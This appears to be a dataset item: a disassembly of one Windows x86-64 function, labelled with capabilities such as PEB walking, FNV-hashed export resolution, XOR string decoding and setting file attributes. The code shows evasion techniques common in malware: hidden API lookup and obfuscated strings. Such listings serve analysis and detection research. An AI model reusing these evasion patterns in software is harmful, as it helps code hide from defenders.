Function at 0x140077bd0
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Set file attributes

Disassembly:
mov r11, rsp
push rbp
push rbx
push r12
push r13
lea rbp, [r11 - 0x2a8]
sub rsp, 0x388
mov rax, qword [0x1401945d8]
xor rax, rsp
mov qword [rbp + 0x230], rax
mov qword [r11 + 8], rsi
mov ecx, 0xfffffff5
mov qword [r11 + 0x10], rdi
mov qword [r11 + 0x18], r14
mov qword [r11 - 0x28], r15
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, dword [str.Q_G5]
xor ebx, ebx
cmp byte [0x140161927], bl
mov r15, rax
mov r14d, dword [reloc.WS2_32.dll_accept]
mov dword [rsp + 0x50], ecx
lea r12d, [rbx + 1]
lea r13d, [rbx + 0x1f]
je 0x140077d10
cmp r14d, 2
jl 0x140077ccd
movdqa xmm3, xmmword [0x1400f91f0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140164d30]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140164d30]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140164d00]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140164d20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140164d40]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
jmp 0x140077d10
lea r9, [rsp + 0x50]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140077ce0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140077da7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140077da7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140077da2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140077d80
cmp r8d, 0x491e0a9c
je 0x140077dac
test r9d, r9d
jne 0x140077d60
mov rax, qword [rax]
jmp 0x140077d30
mov ecx, dword [rsi + 0x24]
add rcx, r10
movaps xmmword [rsp + 0x370], xmm6
movaps xmmword [rsp + 0x360], xmm7
movaps xmmword [rsp + 0x350], xmm8
movaps xmmword [rsp + 0x340], xmm9
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x50]
add rax, r10
call rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0x10]
mov edx, 0x104
lea rcx, [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
test eax, eax
jne 0x14007823f
lea edx, [rax + 0x5c]
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x140077e3d
mov byte [rax], bl
movups xmm0, xmmword [0x140161930]
mov r8d, ebx
movups xmm1, xmmword [0x140161940]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140161950]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [str._n_r_b_a_tyrzurtqsz]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140161990]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140161960]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x1401619a0]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [str.zya8664_wut5.____t]
movsd qword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x50], xmm1
mov byte [rbp - 0x28], al
cmp r14d, 2
jl 0x140077ff5
movdqa xmm0, xmmword [0x140164d40]
lea rcx, [rsp + 0x64]
movdqa xmm5, xmmword [0x1400f91f0]
movdqa xmm4, xmmword [0x140164d30]
movdqa xmm7, xmmword [0x140164d00]
movdqa xmmword [rsp + 0x50], xmm0
mov edx, dword [rsp + 0x50]
movd xmm6, r12d
movd xmm8, r13d
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140164d20]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140164d20]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x78
jl 0x140077ef0
cmp r8d, 0x79
jge 0x140078030
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x79
jl 0x140078000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400780c7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400780c7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400780c2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400780a0
cmp r8d, 0x491e0a9c
je 0x1400780cc
test r9d, r9d
jne 0x140078080
mov rax, qword [rax]
jmp 0x140078050
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x60]
add rax, r10
call rax
movzx eax, byte [0x1401619b8]
lea rcx, [rsp + 0x20]
movsd xmm0, qword [0x1401619b0]
xor al, 0x3a
movsd qword [rsp + 0x20], xmm0
mov edx, 6
xor byte [rsp + 0x21], 0x33
xor byte [rsp + 0x22], 0x34
xor byte [rsp + 0x23], 0x35
xor byte [rsp + 0x24], 0x36
xor byte [rsp + 0x25], 0x37
xor byte [rsp + 0x26], 0x38
xor byte [rsp + 0x27], 0x39
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], 0x68
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movzx eax, byte [0x1401619c8]
movsd xmm0, qword [str.ZD_Q]
movsd qword [rsp + 0x30], xmm0
xor byte [rsp + 0x31], 0x33
xor byte [rsp + 0x32], 0x34
xor byte [rsp + 0x33], 0x35
xor byte [rsp + 0x34], 0x36
xor byte [rsp + 0x35], 0x37
xor byte [rsp + 0x36], 0x38
xor byte [rsp + 0x37], 0x39
xor al, 0x3a
mov byte [rsp + 0x30], 0x68
mov byte [rsp + 0x38], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140078217
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140078217
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140078212
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400781f0
cmp r8d, 0x491e0a9c
je 0x14007821c
test r9d, r9d
jne 0x1400781d0
mov rax, qword [rax]
jmp 0x1400781a0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x30]
add rax, r10
call rax
jmp 0x140078416
movups xmm0, xmmword [str.wAFZD_r]
mov r8d, ebx
movups xmm1, xmmword [0x1401619e0]
mov eax, dword [0x140161a20]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x1401619f0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140161a10]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140161a00]
mov dword [rbp - 0x50], eax
movzx eax, word [0x140161a24]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
mov word [rbp - 0x4c], ax
cmp r14d, 2
jl 0x1400783c1
movdqa xmm5, xmmword [0x1400f91f0]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140164d30]
movdqa xmm7, xmmword [0x140164d00]
movdqa xmm9, xmmword [0x140164d10]
movd xmm6, r12d
movd xmm8, r13d
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x28
jl 0x1400782d0
cmp r8d, 0x2b
jge 0x140078404
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 2]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9 - 2], ax
cmp r8d, 0x2b
jl 0x1400783d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
cmp word [0x140161a2e], bx
mov rax, qword [0x140161a28]
mov rdi, qword [rsp + 0x3b8]
mov rsi, qword [rsp + 0x3b0]
mov qword [rsp + 0x50], rax
je 0x140078504
cmp r14d, 2
jl 0x1400784c2
movdqa xmm3, xmmword [0x1400f91f0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140164d30]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140164d30]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140164d00]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x140164d10]
xorps xmm2, xmm0
movq qword [rsp + 0x50], xmm2
jmp 0x140078504
lea r9, [rsp + 0x50]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 2]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x37
movzx eax, r8w
inc r8d
sub ax, dx
add ax, 0x32
xor word [r9 - 2], ax
cmp r8d, 4
jl 0x1400784d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rsp + 0x50]
call fcn.140054940
mov edx, 9
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp word [0x140161a32], bx
lea rdx, [rsp + 0x50]
mov eax, dword [0x140161a30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov dword [rsp + 0x50], eax
je 0x140078552
xor word [rsp + 0x52], 0x33
mov eax, reloc.WLDAP32.dll_Ordinal_45
mov word [rsp + 0x50], ax
call fcn.140054940
mov edx, 7
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [0x140161a34]
mov edx, 0x5d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov dword [rsp + 0x40], eax
movzx eax, word [0x140161a38]
xor word [rsp + 0x42], 0x33
xor ax, 0x34
mov word [rsp + 0x40], dx
lea rdx, [rsp + 0x40]
mov word [rsp + 0x44], ax
call fcn.140054940
movups xmm0, xmmword [str.q_QV_R_]
movzx eax, word [0x140161a60]
cmp r14d, 2
movups xmm1, xmmword [str.iNT_S3KB]
mov r15, qword [rsp + 0x380]
mov r14, qword [rsp + 0x3c0]
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], ax
movups xmmword [rbp - 0x10], xmm1
jl 0x1400786fc
movdqa xmm5, xmmword [0x1400f91f0]
lea rcx, [rbp - 0x20]
movdqa xmm4, xmmword [0x140164d30]
movdqa xmm7, xmmword [0x140164d00]
movdqa xmm9, xmmword [0x140164d10]
movd xmm6, r12d
movd xmm8, r13d
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add ebx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x140078610
cmp ebx, 0x11
jge 0x140078740
movsxd rax, ebx
lea r8, [rbp - 0x20]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 2]
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x37
movzx eax, bx
inc ebx
sub ax, dx
add ax, 0x32
xor word [r8 - 2], ax
cmp ebx, 0x11
jl 0x140078710
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp - 0x20]
call fcn.140054940
movaps xmm9, xmmword [rsp + 0x340]
movaps xmm8, xmmword [rsp + 0x350]
movaps xmm7, xmmword [rsp + 0x360]
movaps xmm6, xmmword [rsp + 0x370]
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.1400e80c0
add rsp, 0x388
pop r13
pop r12
pop rbx
pop rbp
ret